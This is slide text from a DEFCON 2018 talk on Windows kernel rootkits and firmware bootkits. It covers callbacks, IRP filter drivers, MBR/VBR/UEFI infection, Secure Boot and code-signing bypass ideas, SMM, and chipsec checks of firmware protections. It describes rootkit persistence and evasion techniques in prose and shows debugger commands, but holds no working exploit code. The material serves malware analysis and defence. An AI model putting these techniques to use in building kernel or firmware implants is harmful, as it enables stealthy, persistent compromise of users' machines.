Forensics, Rootkits and Software Exploitation.
• Member of Digital Law and Compliance
Committee (CDDC/ SP)
• Reviewer member of the The Journal of Digital
Forensics, Security and Law.
• Refereer on Digital Investigation:The
International Journal of Digital Forensics &
Incident Response
• Instructor at Oracle, (ISC)2 and Ex-instructor
at Symantec.
2
DEFCON 2018 - USA
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ACKNOWLEDGMENT
DEFCON 2018 - USA
3
Joanna Rutkowska
John Loucaides
Oleksandr Bazhaniuk
Sergey Bratus
Vicent Zimmer
Yuriy Bulygin
Xeno Kovah
Alex Bazhaniuk
Alex Matrosov
Andrew Furtak
Bruce Dang
Corey Kallenberg
Dmytro Oleksiuk
Engene Rodionov
These professionals deserve my sincere “thank you” and
deep respect for their researches on these topics. I have
learned from their explanations and articles. By the way, I
continue learning...
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
DEFCON 2018 - USA
4
INTRODUCTION
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
RING 0/-2 ROOTKITS
DEFCON 2018 - USA
5
ADVANCED MALWARES:
• MBR/VBR/UEFI rootkits
• Tecniques used by rootkits
• Kernel Code Signing Bypasses
• MBR + IPL infection
• BIOS, UEFI and boot architecture
• Boot Guard
• Secure Boot attacks
• WSMT (Windows SMM Security
•
Mitigation Table)
• BIOS Guard
• BIOS/UEFI Protections
RING 0:
• Kernel Callback methods
• WinDbg structures
• Kernel Drivers Structures
• Malicious Drivers
• Modern C2 communication
• Kernel Pools and APCs
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
DEFCON 2018 - USA
6
ROOTKITS: RING 0
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
7
•
Kernel Callback Functions, which are are a kind of “modern hooks”
oftenly used by antivirus programs for monitoring and alerting the
kernel modules about a specific event ocurrence. Therefore, they are
used by malwares (kernel drivers) for evading defenses.
•
Most known callback methods are:
• PsSetLoadImageNotifyRoutine: it provides notification when a
process, library or kernel memory is mapped into memory.
• IoRegisterFsRegistrationChange: it provides notification when a
filesystem becomes available.
• IoRegisterShutdownNotification: the driver handler
(IRP_MJ_SHUTDOWN) acts when the system is about going to
down.
• KeRegisterBugCheckCallback: it helps drivers to receive a
notification (for cleaning tasks) before a system crash.
DEFCON 2018 - USA
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
8
• PsSetCreateThreadNotifyRoutine: indicates a routine that is
called every time when a thread starts or ends.
• PsSetCreateProcessNotifyRoutine: when a process starts or
finishes, this callback is invoked (rootkits and AVs).
• DbgSetDebugPrintCallback: it is used for capturing debug
messages.
• CmRegisterCallback( ) or CmRegisterCallbackEx( ) are called
by drivers to register a RegistryCallback routine, which is
called every time a thread performs an operation on the
registry.
•
Malwares have been using this type of callbacks for checking
whether their persistence entries are kept and, just in case they
were removed, so the malware adds them back.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
9
0: kd> dd nt!CmpCallBackCount L1
fffff801`aa733fcc 00000002
0: kd> dps nt!CallbackListHead L2
fffff801`aa769190 ffffc000`c8d62db0
fffff801`aa769198 ffffc000`c932c8b0
0: kd> dt nt!_LIST_ENTRY ffffc000`c8d62db0
[ 0xffffc000`c932c8b0 - 0xfffff801`aa769190 ]
+0x000 Flink : 0xffffc000`c932c8b0 _LIST_ENTRY [
0xfffff801`aa769190 - 0xffffc000`c8d62db0 ]
+0x008 Blink : 0xfffff801`aa769190 _LIST_ENTRY [
0xffffc000`c8d62db0 - 0xffffc000`c932c8b0 ]
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
10
0: kd> !list -t _LIST_ENTRY.Flink -x "dps" -a "L8"
0xffffc000`c932c8b0
ffffc000`c932c8b0 fffff801`aa769190 nt!CallbackListHead
…..
ffffc000`c932c8c8 01d3c3ba`27edfc12
ffffc000`c932c8d0 fffff801`6992a798 vsdatant+0x67798
ffffc000`c932c8d8 fffff801`69951a68 vsdatant+0x8ea68
ffffc000`c932c8e0 00000000`000a000a
.....
fffff801`aa7691c0 00000000`bee0bee0
fffff801`aa7691c8 fffff801`aa99b600 nt!HvpGetCellFlat
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
11
•
At same way, PsSetCreateProcessNotifyRoutine( ) routine adds a
driver-supplied callback routine to, or removes it from, a list of
routines to be called whenever a process is created or deleted.
0: kd> dd nt!PspCreateProcessNotifyRoutineCount L1
fffff801`aab3f668 00000009
0: kd> .for (r $t0=0; $t0 < 9; r $t0=$t0+1) { r $t1=poi($t0 * 8 +
nt!PspCreateProcessNotifyRoutine); .if ($t1 == 0) { .continue }; r
$t1 = $t1 & 0xFFFFFFFFFFFFFFF0; dps $t1+8 L1;}
•
Malwares composed by kernel drivers, which use the
PsSetLegoNotifyRoutine( ) kernel callback to register a malicious
routine that is called during the thread termination. The
KTHREAD.LegoData field provides the direct address.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
12
0: kd> .for (r $t0=0; $t0 < 9; r $t0=$t0+1) { r $t1=poi($t0 * 8 +
nt!PspCreateProcessNotifyRoutine); .if ($t1 == 0) { .continue }; r $t1 = $t1 &
0xFFFFFFFFFFFFFFF0; dps $t1+8 L1;}
ffffe001`134c8b08 fffff801`aa5839c4 nt!ViCreateProcessCallback
ffffe001`139e1138 fffff801`678175f0 cng!CngCreateProcessNotifyRoutine
ffffe001`13b43138 fffff801`67e6c610 kl1+0x414610
ffffe001`13bdb268 fffff801`685d1138 PGPfsfd+0x1c138
ffffe001`13b96858 fffff801`68a53000 ksecdd!KsecCreateProcessNotifyRoutine
ffffe001`14eeacc8 fffff801`68d40ec0 tcpip!CreateProcessNotifyRoutineEx
ffffe001`164ffce8 fffff801`67583c70
CI!I_PEProcessNotify
ffffe001`13b6e4b8 fffff801`68224a38 klflt!PstUnregisterProcess+0xfac
ffffe001`1653e4d8 fffff801`699512c0 vsdatant+0x8e2c0
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
13
kd> dt _KTHREAD
By now, we have
seen malwares using
KTHREAD.LegoData
field
for registering a
malicious
routine, which would
be called during the
thread termination.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
14
Windows offers different types of drivers such as legacy drivers,
filter drivers and minifilter drivers (malwares can be written using
any one these types), which could be developed using WDM or
WDF frameworks (of course, UMDF and KMDF take part)
•
To analyze a malicious driver, remember this sequence of events:
• The driver image is mapped into the kernel memory address
space.
• An associated driver object is created and registered with
Object Manager, which calls the entry point and fills the
DRIVER_OBJECT structure’s fields.
DRIVER
DEVICE_OBJECT
DRIVER_OBJECT
HARDWARE RES.
I/O CreateDevice( )
(one or more objects)
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
15
•
Most ring 0 malwares install filter drivers for:
• modifying aspects and behavior of existing drivers
• filtering results of operations (reading file, for example)
• adding new malicious features to a driver/devices (for
example, keyloggers)
•
Oftenly found in filter drivers (mainly the malicious one) for
intercepting and altering data, a driver can easily “attach” (using
IoAttachDevice( )) one device object to another device object
(similar to a “pipeline) to receive I/O requests (see next slide).
•
The AddDevice( ) routine is used to create an unamed Device
Object and to attach it to a named Device Object (ex: aborges)
from a layered driver (lower-level driver).
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
16
•
Each IRP will be processed by a dispatch routine, which is
picked up from its MajorFunction Table.
•
The correct dispatch routine will be called to handle the request,
picking the IRP parameters from the own IO_STACK_LOCATION
by calling the IoGetCurrentIrpStackLocation( ) routine.
•
Additionally, these IRP parameters could be passed to the next
IO_STACK_LOCATION by using the
IoCopyCurrentIrpStackLocation( ) routine or even to the next
driver by calling IoSkipCurrentStackLocation( ) routine.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
17
• Alternatively, this IRP could be passed down to the
layered driver by using function such as
IoCallDriver( ).
• Usually, rootkits use the same IoCallDriver( ) to
send directly request to the filesystem driver,
evading any kind of monitoring or hooking at
middle of the path.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
18
Tcpip.sys
Upper Filter Driver
Function Driver
Lower Filter Driver
Miniport driver
Physical Device Object
Upper Filter Device Object
Function Device Object
Lower Filter Device Object
Driver Stack
IoCallDriver( )
IoCallDriver( )
IoCallDriver( )
IoCallDriver( )
Device Stack
IO_STACK_LOCATION 4
IO_STACK_LOCATION 3
IO_STACK_LOCATION 2
IO_STACK_LOCATION 1
No Completation Routine
Completation Routine 4
Completation Routine 3
Completation Routine 2
Device Stack
The
IoCompleteRequest( )
manages calling these
routines in the correct
order (bottom-up).
DEFCON 2018 - USA
ROOTKITS: RING 0
DEFCON 2018 - USA
19
IO_STACK_LOCATION
IO_STACK_LOCATION
IO_STACK_LOCATION
..............
S
T
A
T
I
C
•
A IRP is usually generated by the I/O Manager in
response to requests.
•
An IRP can be generated by drivers through the
IoAllocateIrp( ) function.
•
Analyzing malware, we are usually verify
functions such as IoGetCurrentIrpStackLocation(),
IoGetNextIrpStackLocation( ) and
IoSkipCurrentIrpStackLocation( ).
•
At end, each device holds the responsability to
prepare the IO_STACK_LOCATION to the next
level, as well a driver could call the
IoSetCompletationRoutine( ) to set a completation
routine up at CompletationRoutine field.
D
Y
N
A
M
I
C
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
20
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
Parameters field
depends on
the major and minor
functions!
ROOTKITS: RING 0
DEFCON 2018 - USA
21
Parameter field depends
on major and minor function
number. Thus, the IRPs
being used are related to the
action.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
22
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
23
Malicious driver
rootkits: ring 0
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
24
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
25
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
26
DEFCON 2018 - USA
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
27
DEFCON 2018 - USA
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
28
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
29
• Naturally, as closest at bottom of device stack occurs the
infection (SCSI miniport drivers instead of targeting File
System Drivers), so more efficient it is.
• Nowadays, most monitoring tools try to detect strange
activities at upper layers.
• Malwares try to intercept requests (read / write operations)
from hard disk by manipulating the MajorFunction array
(IRP_MJ_DEVICE_CONTROL and
IRP_INTERNAL_CONTROL) of the DRIVER_OBJECT
structure.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
30
• Rootkits try to protect itself from being removed by
modifying routines such as IRP_MJ DEVICE_CONTROL and
hooking requests going to the disk (IOCTL_ATA_* and
IOCTL_SCSI_*).
• Another easy approach is to hook the DriverUnload( )
routine for preventing the rootkit of being unloaded.
• However, any used tricks must avoid touching critical areas
protected by KPP (Kernel Patch Guard) and one of tricky
methods for find which are those areas is trying the
following:
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
31
kd> !analyze –show 109
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
Thanks, Alex Ionescu
ROOTKITS: RING 0
DEFCON 2018 - USA
32
• Most time, malwares have allocated a kind of hidden
filesytem in free sectors to store configuration files and
they are referred by random device object names generated
during the boot.
• Few authors of ring 0 malwares are careless because they
write malicious drivers that provide access to shared user-
mode buffers using Neither method (METHOD_NEITHER),
without any data validation, exposing it to memory
corruption and, most time, leakage of information.
Ridiculous.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
33
•
Additionally, malwares composed by executable + drivers have
been using APLC (Advanced Local Procedure Call) in the
communication between user mode code and kernel drivers
instead of using only IOCTL commands.
•
Remember APLC interprocess-communication technique has
been used since Windows Vista, as between lsass.exe and SRM(
Security Reference Monitor). Most analysts are not used to
seeing this approach.
•
Malwares do not choose an specific driver during the boot for
injection, but try to randomly pick up a driver by parsing
structures such as _KLDR_DATA_TABLE_ENTRY.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
34
•
Certainly, hooking the filesystem driver access is always a
possible alternative:
• IoCreateFile( ) gets a handle to the filesystem.
• ObReferenceObjectByHandle( ) gets a pointer to
FILE_OBJECT represented by the handle.
• IoCreateDevice( ) creates a device object
(DEVICE_OBJECT) for use by a driver.
• IoGetRelatedDeviceObject( ) gets a pointer to
DEVICE_OBJECT.
• IoAttachDeviceToDeviceStack( ) creates a new device
object and attaches it to DEVICE_OBJECT pointer (previous
function).
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
35
•
As it is done by AVs, malwares also hook functions such as
ZwCreate( ) for intercepting all opened requests sent to devices.
•
After infecting a system by dropping kernel drivers, malwares
usually force the system reboot calling ZwRaiseHardError( )
function and specifying OptionShutdownSystem as 5th
parameter.
•
Of course, it could be worse and the malware could use
IoRegisterShutdownNotification( ) routine registers the driver to
receive an IRP_MJ_SHUTDOWN IRP notification when the system
is shutdown for restoring the malicious driver in the next boot
just in case it is necessary.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
36
•
Malwares continue allocating (usually RWX, although on Windows 8+ it
could specify NonPagePoolNX) and marking their pages by using
ExAllocatePoolWithTag( ) function (and other at same family
ExAllocatePool*). Fortunately, it can be easily found by using memory
analysis:
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
37
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
38
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ROOTKITS: RING 0
DEFCON 2018 - USA
39
0: kd> dt nt!_KTHREAD
•
APC (user and kernel mode) are executed in the thread context, where normal
APC executes at PASSIVE_LEVEL (thread is on alertable state) and special
ones at APC_LEVEL (software interruption below DISPATCH LEVEL, where
run Dispatch Procedure Calls).
• APC Injection It allows a program to execute a code in a specific thread by
attaching to an APC queue (without using the CreateRemoteThread( )) and
preempting this thread in alertable state to run the malicious code.
(QueueUserAPC( ), KeInitializeAPC( ) and KeInsertQueueAPC( )).
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
DEFCON 2018 - USA
40
ADVANCED MALWARES
AND ROOTKITS RING -2
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
41
•
MBR rootkits: Petya and TLD4 (both in bootstrap code), Omasco
(partition table) and Mebromi (MBR + BIOS, triggering SW
System Management Interrupt (SMI) 0x29/0x2F for erasing the SPI
flash)
•
VBR rootkits: Rovnix (IPL) and Gapz (BPB – Bios Parameter
Block, which it is specific for the filesystem)
•
UEFI rootkits: replaces EFI boot loaders and, in some cases, they
also install custom firmware executable (EFI DXE)
•
Modern malwares alter the BPB (BIOS parameter block), which
describes the filesystem volume, in the VBR.
•
We should remember that a rough overview of a disk design is:
MBR VBR IPL NTFS
Initial Program Loader. It has 15 sectors containing the bootstrap
code for parsing the NTFS and locating the OS boot loader.
Locate the active
partition and reads
the first sector
It contains necessary boot code for loading the OS loader
DEFCON 2018 - USA
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
42
Overwritten with an
offset of the bootkit
on the disk.
Thus, in this case,
the malicious code
will be executed
instead of the IPL.
BIOS_PARAMETER
__BLOCK_NTFS
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
43
Eventually,
analyzing and
debugging the
MBR/VBR (loaded
as binary module)
is unavoidable,
but it’s not so difficult
as it seems.
Furthermore, we
never know when
an advanced malware
or a ransomwares
(TDL4 and Petya) will
attack us.
expected MBR entry point and it must be included in the IDA Pro’s load_file.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
44
•
MBR modifications (partition table or MBR code) and VBR+IPL
modifications (BPB or IPL code) have been used as an effective way
to bypass the KCS.
•
As injecting code into the Windows kernel has turned out to be a bit
more complicated, to modern malwares are used to bypassing the
KCS (Kernel-Mode Code Signing Policy) by:
• Disabling it Booting the system on Testing Mode.
Unfortunately, it is not so trivial because the Secure Boot must
be disabled previously and, afterwards, it must be rebooted.
• Changing the kernel memory MBR and/or VBR could be
changed. However, as BIOS reads the MBR and handle over the
execution to the code there, so changing memory could be
lethal.
• Even trying to find a flaw in the firmware it is not trivial and
the Secure Boot must be disabled.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
45
Setting TESTING mode is
a very poor drive
signature “bypassing”.
Actually, there are more
elegant methods.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
46
BIOS
MBR
EFI
VBR
Bootmgr
Bootmgfw.efi
BCD
Winload.exe
Kdcom.dll
ELAM
Ntoskrnl.exe
Code Integrity
Mebromi
Petya/Mebromi/
Omasco/TLD4
Rovnix and Gapz
UEFI support since Windows 7 SP1 x64
BPB + VBR code + strings + 0xAA55
Read its configuration from
Boot Configuration Data (BCD)
ci.dll
HAL.dll
Classifies modules as
good, bad and unknown.
Additionally, it decides
whether load a module or
not according to the policy.
Bootkits could attack it
before loading the
kernel and ELAM.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
47
•
Malwares infect the bootmgr, which switches the processor
execution from real mode to protected mode, and use the int 13h
interrupt to access the disk drive, patch modules and load
malicious drivers.
•
The winload.exe roles are the following:
• enables the protect mode.
• checks the modules’ integrity and loads the Windows kernel.
• loads the several DLLs (among them, the ci.dll, which is
responsible for Code Integrity) and ELAM (Early Launch Anti
Malware, which was introduced on Windows 8 as callback
methods and tries to prevent any strange code execution in
the kernel).
• loads drivers and few system registry data.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
48
• Furthermore, if the integrity checking of the winload.exe is
subverted, so a malicious code could be injected into the
kernel because we wouldn’t have an integrity control
anymore.
• Most advanced rootkits continue storing/reading (opcode
0x42, 0x43 and 0x48) their configuration and payloads from
encrypted hidden filesystems (usually, FAT32) and
implementing modified symmetric algorithms (AES, RC4,
and so on) in these filesystems.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
49
•
SMM basics:
• Interesting place to hide malwares because is protected from OS
and hypervisors.
• The SMM executable code is copied into SMRAM and locked during
the initialization.
• To switch to SMM, it is necessary to triger a SMI (System
Management Interrupt), save the current content into SMRAM and
execute the SMI handler code.
• A SMI could be generated from a driver (ring 0) by writing a value
into APMC I/O / port B2h or using a I/O instruction restart CPU
feature.
• The return (and execution of the prior execution) is done by using
RSM instruction.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
50
MBR
VBR
LOADER
OS
SPI Flash
Ring 0 malwares like rootkits
SPI malwares
Bootkit malwares
UEFI: Bootx64.efi
and Bootmgfw.efi
(Kernel Code Signing Policies)
UEFI
Services
SMM
SMM malwares
UEFI/BIOS malwares
(Flash Write Protection)
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
51
SEC PEI DXE BDS TSL RT AL
• SEC Security (Caches, TPM and MTRR initialization)
• PEI Pre EFI Initialization (SMM/Memory )
• DXE Driver Execution Environment (platform + devices
initialization , Dispatch Drivers, FV enumumeration)
• BDS Boot Dev Select (EFI Shell + OS Boot Loader)
• TSL Transient System Load
• RT Run Time
IBB – Initial Boot Block
After Life
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
52
SEC
PEI
DXE
BDS
TSL
HARDWARE
Boot Guard
OS Secure
Boot
UEFI Secure
Boot
UEFI Secure
Boot
IBB
malwares
and
exploits
attack
here
Hypervisor
Windows Boot Loader
Kernel drivers
Windows
ELAM
3rd party drivers
Apps
The Windows uses the
UEFI to load the Hypervisor
and Secure Kernel.
Acts on drivers
that are executed
before Windows
being loaded and
initialized.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
53
• Remember: the SPI Flash is composed by many regions
such as Flash Descriptors, BIOS, ME (Management Engine),
GbE and ACPI EC. Access Control table defines who can
have READ/WRITE access to other regions.
Descriptors
GbE
ME
ACPI
BIOS
ME: has full access to the DRAM, invisible at same time, is always working
(even then the system is shutdown) and has access to network interface.
Conclusion: a nightmare.
ROM + FW (Manifest+ Modules)
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
54
• Intel Boot Guard (controlled by ME), introduced by Intel, is
used to validate the boot process through flashing a public
key associated to BIOS signature into FPFs (Field
Programmable Fuses) from Intel ME.
• Obviously, few vendors have been leaving closemnt fuse
unset, so it could be lethal.
• Of course, for a perfect Boot Guard working, the SPI region
must be locked and the Boot Guard configuration must be
set against a SMM driver rootkit.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
55
CPU boot ROM
BG startup Authenticated
Code Module
Loaded into Authenticated Code RAM
SEC + PEI (IBB)
Verifies the IBB (Initial Boot Block)
BIOS
•
Public key’s hash, used for verifying the signature of
the code with the ACM, is hard-coded within the CPU.
•
It almost impossible to modify the BIOS without
knowing the private key.
•
At end, it works as a certificate chain.
SPI
Flash
Memory
IBB verifies the
BIOS content
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
56
Another protection feature named BIOS Guard is also running in the
SMM, which protects the platform against not-authorized:
• SPI Flash Access (through BIOS Guard Authenticated Code
Module) prevents an attacker to escalate privileges to SMM
by writting a new image to SPI.
• BIOS update attacker (through a DXE driver) could update the
BIOS to a flawed BIOS version.
• Boot infection/corruption.
BIOS Guard allows that only trusted modules (by ACM) be able to
modify the SPI flash memory and protect us against rookit implants.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
57
• Secure Boot:
• Protects the entire path shown previously against
bootkit infection.
• Protects key components during kernel loading, key
drivers and important system files, requesting a valid
digital signature.
• Prevents loading of any code that are not associated a
valid digital signature.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
58
•
Two essential items on Secure Boot are:
• Platform Key (PK – must be valid), which establishes a trust
relationship between the platform owner and the platform
firmware, verifies the Key Exchange Key (KEK).
• KEK, which establishes a trust relationship between the OS
and the platform firmware, verifies:
• Authorized Database (db) contains authorized signing
certificates and digital signatures
• Forbidden Database (dbx) contains forbidden
certificates and digital signatures.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
59
• Obviously, if the Platform Key is corrupted, everything is
not valid anymore because the SecureBoot turns out
disabled when this fact happens.
• Unfortunately, few vendors continue storing important
Secure Boot settings in UEFI variables. However, if these
UEFI variables are exploited through ring 0/-2 malware or
bootkit, so the SecureBoot can be disabled.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
60
•
Without ensuring the UEFI image integrity, a rookit could load
another UEFI image without being noticed.
•
UEFI BIOS supports TE (Terse Executable) format (signature
0x5A56 - VZ).
•
As TE format doesn’t support signatures, BIOS shouldn’t load
this kind of image because Signature checking would be skipped.
•
Therefore, a rootkit could try to replace the typical PE/COFF
loader by a TE EFI executable, so skipping the signature
checking and disabling the Secure Boot.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
61
Fortunately, new releases of Windows 10 (version 1607 and
later) has introduced an interesting SMM protection known
as Windows SMM Security Mitigation Table (WSMT).
In Windows 10, the firmware executing SMM must be
“authorized and trusted” by VBS (Virtualized Based
Security).
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
62
•
These SMM Protections flags that can be used to enable or
disable any WSMT feature.
• FIXED_COMM_BUFFERS: it guarantees that any input/output
buffers be filled by value within the expected memory
regions.
• SYSTEM_RESOURCE_PROTECTION: it works as an indication
that the system won’t allow out-of-band reconfiguration of
system resources.
• COMM_BUFFER_NESTED_PTR_PROTECTION: it is a
validation method that try to ensure that any pointer whith the
fixed communication buffer only refer to address ranges that
are within a pre-defined memory region.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
63
•
chipsec_util.py spi dump spi.bin
•
chipsec_uti.py decode spi.bin
Is the customer Safe?
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
64
chipsec_main --module common.bios_wp
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
65
chipsec_main.py -m common.bios_smi
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
66
•
The BIOS_CNTL register contains:
• BIOS Write Enable(BWE) if it is set to 1, an attacker could
write to SPI flash.
• BIOS Lock Enable (BLE) if it is set to 1, it generates an SMI
routine to run just in case the BWE goes from 0 to 1.
•
Of course, there should be a SMM handler in order to prevent
setting the BWE to 1.
•
What could happen if SMI events were blocked?
•
The SMM BIOS write protection (SMM_BWP) , which protects
the entire BIOS area, is not enabled.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
67
chipsec_main.py -m common.spi_lock
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
68
•
SPI Protect Range registers protect the flash chip against writes.
•
They control Protected Range Base and Protected Range Limit
fields, which set regions for Write Protect Enable bit and Read
Protect Enable bit.
•
If the Write Protect Enable bit is set, so regions from flash chip
that are defined by Protected Range Base and Protected Range
Limit fields are protected.
•
However, SPI Protect Range registers DO NOT protect the entire
BIOS and NVRAM.
•
In a similar way to BLE, the HSFSS.FLOCKDN bit (from HSFSTS
SPI MMIO Register) prevents any change to Write Protect Enable
bit. Therefore, malware can’t disable the SPI protected ranges for
enabling access to the SPI flash memory.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
69
python chipsec_main.py --module common.bios_ts
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
70
•
Top Swap Mode, which is enabled by BUC.TS in Root Complex
range, is a feature that allows fault-tolerant update of the BIOS
boot-block.
•
Therefore, when Top Swap Configuration and swap boot-block
range in SPI are not protected or even locked, any malware could
force an execution redirect of the reset vector to backup
bootblock because CPU will fetch the reset vector at 0xFFFEFFF0
instead of 0xFFFFFFF0 address.
•
SMRR (System Management Range Registers) blocks the access
to SMRAM (range of DRAM that is reserved by BIOS SMI
handlers) while CPU is not in SMM mode, preventing it to execute
any SMI exploit on cache.
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
ADVANCED MALWARES
DEFCON 2018 - USA
71
chipsec_main.py -m common.smrr
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
CONCLUSION
DEFCON 2018 - USA
72
• Most security professionals have been facing problems to
understand how to analyze malicious drivers because the
theory is huge and not easy.
• Real customers are not aware about ring -2 threats and they
don’t know how to update systems’ firmwares.
• All protections against implants are based on integrity
(digital certificate and signature). However, what would it
happen whether algorithms were broken (QC - quantum
computation)?
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
THANK YOU FOR ATTENDING MY TALK!
LinkedIn:
http://www.linkedin.com/in/aleborges
Twitter: @ale_sp_brazil
Website:
http://blackstormsecurity.com
E-mail:
alexandreborges@blackstormsecurity.
com
DEFCON 2018 - USA
73
ALEXANDRE BORGES - MALWARE AND SECURITY RESEARCHER
• Malware and Security Researcher.
• Consultant, Instructor and Speaker on
Malware Analysis, Memory Analysis, Digital
Forensics, Rootkits and Software Exploitation.
• Member of Digital Law and Compliance
Committee (CDDC/ SP)
• Reviewer member of the The Journal of Digital
Forensics, Security and Law.
• Refereer on Digital Investigation:The
International Journal of Digital Forensics &
